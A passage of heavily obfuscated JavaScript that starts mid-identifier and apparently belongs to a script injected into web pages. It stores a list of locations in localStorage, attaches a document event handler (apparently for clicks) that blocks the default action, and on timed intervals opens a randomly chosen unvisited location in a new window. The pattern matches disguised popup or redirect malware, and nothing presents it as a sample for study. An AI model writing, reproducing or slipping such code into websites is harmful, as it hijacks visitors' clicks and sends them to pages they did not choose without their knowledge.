x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());